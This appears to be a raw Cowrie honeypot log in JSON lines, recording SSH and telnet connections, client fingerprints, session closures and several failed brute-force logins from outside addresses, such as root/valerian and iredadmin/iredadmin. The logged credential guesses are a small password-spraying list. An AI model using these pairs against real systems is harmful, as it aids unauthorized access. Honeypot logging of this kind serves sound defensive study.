{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:49.176363Z","src_ip":"213.209.159.158","session":"7137ef84a60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:49.180258Z","src_ip":"213.209.159.158","session":"7137ef84a60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45224,"dst_ip":"10.17.0.5","dst_port":23,"session":"21a8e19ff595","protocol":"telnet","message":"New connection: 62.210.97.77:45224 (10.17.0.5:23) [session: 21a8e19ff595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:49.241583Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45236,"dst_ip":"10.17.0.5","dst_port":23,"session":"50b0c05ea446","protocol":"telnet","message":"New connection: 62.210.97.77:45236 (10.17.0.5:23) [session: 50b0c05ea446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:49.788500Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45240,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4c99ee3252f","protocol":"telnet","message":"New connection: 62.210.97.77:45240 (10.17.0.5:23) [session: e4c99ee3252f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:49.862960Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54936,"dst_ip":"10.17.0.5","dst_port":23,"session":"916f1f43eb80","protocol":"telnet","message":"New connection: 65.60.27.33:54936 (10.17.0.5:23) [session: 916f1f43eb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:49.989337Z"}
{"eventid":"cowrie.session.closed","duration":1.731156349182129,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:50.479674Z","src_ip":"65.60.27.33","session":"80705e8816ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45248,"dst_ip":"10.17.0.5","dst_port":23,"session":"a529ead996c6","protocol":"telnet","message":"New connection: 62.210.97.77:45248 (10.17.0.5:23) [session: a529ead996c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:53.427292Z"}
{"eventid":"cowrie.session.closed","duration":34.924663066864014,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:53.854785Z","src_ip":"62.210.97.77","session":"1742e5541a02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60764,"dst_ip":"10.17.0.5","dst_port":23,"session":"a52e08ee04de","protocol":"telnet","message":"New connection: 65.60.27.33:60764 (10.17.0.5:23) [session: a52e08ee04de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:54.179108Z"}
{"eventid":"cowrie.session.closed","duration":47.6170608997345,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:56.805283Z","src_ip":"165.232.131.181","session":"dcd7daa79682","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ur123456","message":"login attempt [root/Ur123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:58.256884Z","src_ip":"213.209.159.158","session":"7137ef84a60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41248,"dst_ip":"10.17.0.5","dst_port":23,"session":"062cf0d44246","protocol":"telnet","message":"New connection: 62.210.97.77:41248 (10.17.0.5:23) [session: 062cf0d44246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:59.368766Z"}
{"eventid":"cowrie.session.closed","duration":49.08609867095947,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:59.862908Z","src_ip":"38.54.119.93","session":"f62e858188bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41256,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab6c841eb521","protocol":"telnet","message":"New connection: 62.210.97.77:41256 (10.17.0.5:23) [session: ab6c841eb521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:59.927228Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:01.961904Z","src_ip":"213.209.159.158","session":"7137ef84a60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49418,"dst_ip":"10.17.0.5","dst_port":22,"session":"9741e66c42a8","protocol":"ssh","message":"New connection: 213.209.159.158:49418 (10.17.0.5:22) [session: 9741e66c42a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:02.061463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:04.179800Z","src_ip":"213.209.159.158","session":"9741e66c42a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:04.184298Z","src_ip":"213.209.159.158","session":"9741e66c42a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.99151110649109,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:04.450310Z","src_ip":"65.60.27.33","session":"7aafcddb0610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.374916791915894,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:05.616405Z","src_ip":"65.60.27.33","session":"b65ddf6acb03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41258,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc6fb758ddbe","protocol":"telnet","message":"New connection: 62.210.97.77:41258 (10.17.0.5:23) [session: fc6fb758ddbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:07.118395Z"}
{"eventid":"cowrie.session.closed","duration":30.47294306755066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:07.362290Z","src_ip":"62.210.97.77","session":"70c202b8c870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41262,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d91b5efee11","protocol":"telnet","message":"New connection: 62.210.97.77:41262 (10.17.0.5:23) [session: 5d91b5efee11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:08.318101Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45836,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc7e7f0c2075","protocol":"telnet","message":"New connection: 65.60.27.33:45836 (10.17.0.5:23) [session: bc7e7f0c2075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:08.608494Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33852,"dst_ip":"10.17.0.5","dst_port":23,"session":"071c8aa24468","protocol":"telnet","message":"New connection: 62.210.97.77:33852 (10.17.0.5:23) [session: 071c8aa24468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:09.607687Z"}
{"eventid":"cowrie.session.closed","duration":34.61976170539856,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:11.442805Z","src_ip":"62.210.97.77","session":"50f36ec14235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.864607572555542,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:11.472967Z","src_ip":"65.60.27.33","session":"bc7e7f0c2075","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"valerian","message":"login attempt [root/valerian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:13.911851Z","src_ip":"213.209.159.158","session":"9741e66c42a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":30832,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8c6d8b87814","protocol":"ssh","message":"New connection: 89.218.69.66:30832 (159.203.135.109:22) [session: d8c6d8b87814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:16.343303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:16.348406Z","src_ip":"89.218.69.66","session":"d8c6d8b87814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:16.515997Z","src_ip":"89.218.69.66","session":"d8c6d8b87814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":5724,"dst_ip":"10.17.0.5","dst_port":22,"session":"692ee8f8beb7","protocol":"ssh","message":"New connection: 94.156.152.18:5724 (10.17.0.5:22) [session: 692ee8f8beb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:16.817812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:16.822343Z","src_ip":"94.156.152.18","session":"692ee8f8beb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:16.948715Z","src_ip":"94.156.152.18","session":"692ee8f8beb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:17.088271Z","src_ip":"213.209.159.158","session":"9741e66c42a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":60212,"dst_ip":"10.17.0.5","dst_port":22,"session":"92f48c37efe5","protocol":"ssh","message":"New connection: 213.209.159.158:60212 (10.17.0.5:22) [session: 92f48c37efe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:17.182661Z"}
{"eventid":"cowrie.login.failed","username":"iredadmin","password":"iredadmin","message":"login attempt [iredadmin/iredadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:17.210943Z","src_ip":"89.218.69.66","session":"d8c6d8b87814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS8VCPU32GBAMD","message":"login attempt [root/QUEENVPS8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:17.333398Z","src_ip":"94.156.152.18","session":"692ee8f8beb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33856,"dst_ip":"10.17.0.5","dst_port":23,"session":"78d5409d39a7","protocol":"telnet","message":"New connection: 62.210.97.77:33856 (10.17.0.5:23) [session: 78d5409d39a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:17.505552Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:18.380795Z","src_ip":"89.218.69.66","session":"d8c6d8b87814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:18.462777Z","src_ip":"94.156.152.18","session":"692ee8f8beb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45964,"dst_ip":"10.17.0.5","dst_port":23,"session":"359448f85d3e","protocol":"telnet","message":"New connection: 62.210.97.77:45964 (10.17.0.5:23) [session: 359448f85d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:19.600594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:19.786589Z","src_ip":"213.209.159.158","session":"92f48c37efe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:19.790423Z","src_ip":"213.209.159.158","session":"92f48c37efe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45970,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf49c78efe23","protocol":"telnet","message":"New connection: 62.210.97.77:45970 (10.17.0.5:23) [session: cf49c78efe23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:20.047381Z"}
{"eventid":"cowrie.session.closed","duration":32.92636179924011,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:22.789251Z","src_ip":"62.210.97.77","session":"e4c99ee3252f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.41494655609131,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:23.115527Z","src_ip":"62.210.97.77","session":"d8cf903e25e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.9649019241333,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:23.429156Z","src_ip":"62.210.97.77","session":"d383e4122402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.954997539520264,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:23.743356Z","src_ip":"62.210.97.77","session":"50b0c05ea446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45984,"dst_ip":"10.17.0.5","dst_port":23,"session":"c92fe3c403b5","protocol":"telnet","message":"New connection: 62.210.97.77:45984 (10.17.0.5:23) [session: c92fe3c403b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:24.003649Z"}
{"eventid":"cowrie.session.closed","duration":35.396466970443726,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:24.637924Z","src_ip":"62.210.97.77","session":"21a8e19ff595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.913182735443115,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:25.286620Z","src_ip":"65.60.27.33","session":"2036d9819d31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40322995185852,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:25.830372Z","src_ip":"62.210.97.77","session":"a529ead996c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45996,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead771703973","protocol":"telnet","message":"New connection: 62.210.97.77:45996 (10.17.0.5:23) [session: ead771703973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:26.686485Z"}
{"eventid":"cowrie.session.closed","duration":36.80996060371399,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:26.799193Z","src_ip":"65.60.27.33","session":"916f1f43eb80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46012,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22ae5dc34b3","protocol":"telnet","message":"New connection: 62.210.97.77:46012 (10.17.0.5:23) [session: d22ae5dc34b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:27.632724Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44208,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f1630d901b","protocol":"telnet","message":"New connection: 65.60.27.33:44208 (10.17.0.5:23) [session: 41f1630d901b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:28.815670Z"}
